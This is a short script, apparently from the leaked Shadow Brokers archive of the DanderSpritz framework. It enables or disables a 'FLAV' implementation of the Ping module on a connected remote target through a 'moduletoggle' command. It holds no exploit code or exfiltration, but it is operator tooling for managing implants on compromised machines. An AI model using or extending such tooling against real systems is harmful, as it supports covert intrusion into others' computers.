shadowbrokers-exploits/windows/Resources/Dsz/Scripts/Flav/_Ping.dss
2017-04-14 11:45:07 +02:00

47 lines
976 B
Text

@include "_VersionChecks.dsi";
@echo off;
@quiet off;
if (($argc != 2 && $argc != 3) || (($argv[1] != "-enable") && ($argv[1] != "-disable")))
{
echo("Usage: $argv[0] <-enable|-disable> [-nofree]", ERROR);
echo(" Enables or disables FLAV use for Ping", ERROR);
echo(" Use -nofree if you do not want to free the old version", ERROR);
return false;
}
if (IsLocal())
{
echo("You must be connected in order to run this script", ERROR);
return false;
}
bool $rtn=true;
string $impl = "DEFAULT";
string $nofree = "";
string $action = "Removing";
string $module = "PING";
if ($argv[1] == "-enable")
{
$impl = "FLAV";
$action = "Enabling";
}
if ($argc == 3 && $argv[2] == "-nofree")
{
$nofree = "-nofree";
}
echo "$action $module FLAV change";
if (`moduletoggle -system $module\_TARGET -set $impl $nofree `)
{
echo (" SUCCEEDED", GOOD);
}
else
{
echo (" FAILED", ERROR);
$rtn = false;
}
return $rtn;